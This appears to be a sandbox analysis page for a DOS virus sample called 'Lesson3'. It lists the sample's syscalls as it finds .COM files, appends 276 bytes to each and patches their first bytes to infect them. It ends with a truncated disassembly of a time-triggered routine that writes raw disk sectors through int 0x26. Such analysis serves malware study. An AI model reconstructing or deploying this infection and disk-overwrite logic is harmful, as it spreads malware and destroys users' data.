Sample viewer

vx.netlux.org/Virus.DOS.Lesson3

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:08:21.111550466Z 26 PC: 12a92 | Set disk transfer address
2018-12-17T23:08:21.113963872Z 78 PC: 12a9b | Find first file
2018-12-17T23:08:21.120794591Z 67 PC: 12aa8 | Get or set file attributes
2018-12-17T23:08:21.125386542Z 61 PC: 12ab1 | Open file (Filename = 'SLEEP.COM')
2018-12-17T23:08:21.13242415Z 63 PC: 12ac0 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:08:21.140441129Z 66 PC: 12ad2 | Move file pointer
2018-12-17T23:08:21.14245821Z 64 PC: 12a6a | Write file or device (Write 276 bytes on handle 5)
2018-12-17T23:08:21.15745589Z 66 PC: 12ae9 | Move file pointer
2018-12-17T23:08:21.159752637Z 64 PC: 12af5 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:08:21.166986785Z 62 PC: 12afb | Close file
2018-12-17T23:08:21.175728696Z 79 PC: 12a9b | Find next file
2018-12-17T23:08:21.180433419Z 67 PC: 12aa8 | Get or set file attributes
2018-12-17T23:08:21.185872843Z 61 PC: 12ab1 | Open file (Filename = 'PRINT.COM')
2018-12-17T23:08:21.193151323Z 63 PC: 12ac0 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:08:21.200680916Z 66 PC: 12ad2 | Move file pointer
2018-12-17T23:08:21.202951133Z 64 PC: 12a6a | Write file or device (Write 276 bytes on handle 5)
2018-12-17T23:08:21.20619987Z 66 PC: 12ae9 | Move file pointer
2018-12-17T23:08:21.208264761Z 64 PC: 12af5 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:08:21.211542662Z 62 PC: 12afb | Close file
2018-12-17T23:08:21.220103292Z 79 PC: 12a9b | Find next file
2018-12-17T23:08:21.222837091Z 67 PC: 12aa8 | Get or set file attributes
2018-12-17T23:08:21.227641331Z 61 PC: 12ab1 | Open file (Filename = 'HELLO.COM')
2018-12-17T23:08:21.23500956Z 63 PC: 12ac0 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:08:21.242242866Z 66 PC: 12ad2 | Move file pointer
2018-12-17T23:08:21.245047197Z 64 PC: 12a6a | Write file or device (Write 276 bytes on handle 5)
2018-12-17T23:08:21.24901232Z 66 PC: 12ae9 | Move file pointer
2018-12-17T23:08:21.250719509Z 64 PC: 12af5 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:08:21.254238864Z 62 PC: 12afb | Close file
2018-12-17T23:08:21.262720837Z 79 PC: 12a9b | Find next file
2018-12-17T23:08:21.265870657Z 67 PC: 12aa8 | Get or set file attributes
2018-12-17T23:08:21.271440406Z 61 PC: 12ab1 | Open file (Filename = 'PHANG.COM')
2018-12-17T23:08:21.27913042Z 63 PC: 12ac0 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:08:21.286215347Z 66 PC: 12ad2 | Move file pointer
2018-12-17T23:08:21.288880236Z 64 PC: 12a6a | Write file or device (Write 276 bytes on handle 5)
2018-12-17T23:08:21.291748537Z 66 PC: 12ae9 | Move file pointer
2018-12-17T23:08:21.293162084Z 64 PC: 12af5 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:08:21.300317624Z 62 PC: 12afb | Close file
2018-12-17T23:08:21.308789528Z 79 PC: 12a9b | Find next file
2018-12-17T23:08:21.312040558Z 67 PC: 12aa8 | Get or set file attributes
2018-12-17T23:08:21.317003487Z 61 PC: 12ab1 | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T23:08:21.325461815Z 63 PC: 12ac0 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:08:21.332158112Z 66 PC: 12ad2 | Move file pointer
2018-12-17T23:08:21.333688969Z 64 PC: 12a6a | Write file or device (Write 276 bytes on handle 5)
2018-12-17T23:08:21.337448846Z 66 PC: 12ae9 | Move file pointer
2018-12-17T23:08:21.338806478Z 64 PC: 12af5 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:08:21.341493759Z 62 PC: 12afb | Close file
2018-12-17T23:08:21.350120564Z 79 PC: 12a9b | Find next file
2018-12-17T23:08:21.35278392Z 67 PC: 12aa8 | Get or set file attributes
2018-12-17T23:08:21.357638835Z 61 PC: 12ab1 | Open file (Filename = 'MANDEL.COM')
2018-12-17T23:08:21.365788634Z 63 PC: 12ac0 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:08:21.372621978Z 66 PC: 12ad2 | Move file pointer
2018-12-17T23:08:21.37432035Z 64 PC: 12a6a | Write file or device (Write 276 bytes on handle 5)
2018-12-17T23:08:21.384472431Z 66 PC: 12ae9 | Move file pointer
2018-12-17T23:08:21.386012466Z 64 PC: 12af5 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:08:21.39385103Z 62 PC: 12afb | Close file
2018-12-17T23:08:21.404130571Z 79 PC: 12a9b | Find next file
2018-12-17T23:08:21.407402922Z 67 PC: 12aa8 | Get or set file attributes
2018-12-17T23:08:21.412405685Z 61 PC: 12ab1 | Open file (Filename = 'PAH.COM')
2018-12-17T23:08:21.42084098Z 63 PC: 12ac0 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:08:21.428235279Z 66 PC: 12ad2 | Move file pointer
2018-12-17T23:08:21.430433651Z 64 PC: 12a6a | Write file or device (Write 276 bytes on handle 5)
2018-12-17T23:08:21.433857336Z 66 PC: 12ae9 | Move file pointer
2018-12-17T23:08:21.436863537Z 64 PC: 12af5 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:08:21.440071406Z 62 PC: 12afb | Close file
2018-12-17T23:08:21.448805633Z 79 PC: 12a9b | Find next file
2018-12-17T23:08:21.453120704Z 67 PC: 12aa8 | Get or set file attributes
2018-12-17T23:08:21.458900337Z 61 PC: 12ab1 | Open file (Filename = 'TEST.COM')
2018-12-17T23:08:21.466021311Z 63 PC: 12ac0 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:08:21.470187483Z 79 PC: 12a9b | Find next file
2018-12-17T23:08:21.473626055Z 44 PC: 12b03 | Get time 0x12b03: cmp dl, 5
0x12b06: ja 0x12b2f
0x12b08: jmp 0x12b0b
0x12b0a: nop
0x12b0b: mov ah, 0x2c
0x12b0d: int 0x21
0x12b0f: cmp dl, 0x50
0x12b12: ja 0x12b17
0x12b14: jmp 0x12b23
0x12b16: nop
0x12b17: cli
0x12b18: mov ah, 2
0x12b1a: cdq
0x12b1b: mov cx, 0x100
0x12b1e: int 0x26
0x12b20: jmp 0x12b2f
0x12b22: nop
0x12b23: cli
0x12b24: mov ah, 3
0x12b26: cdq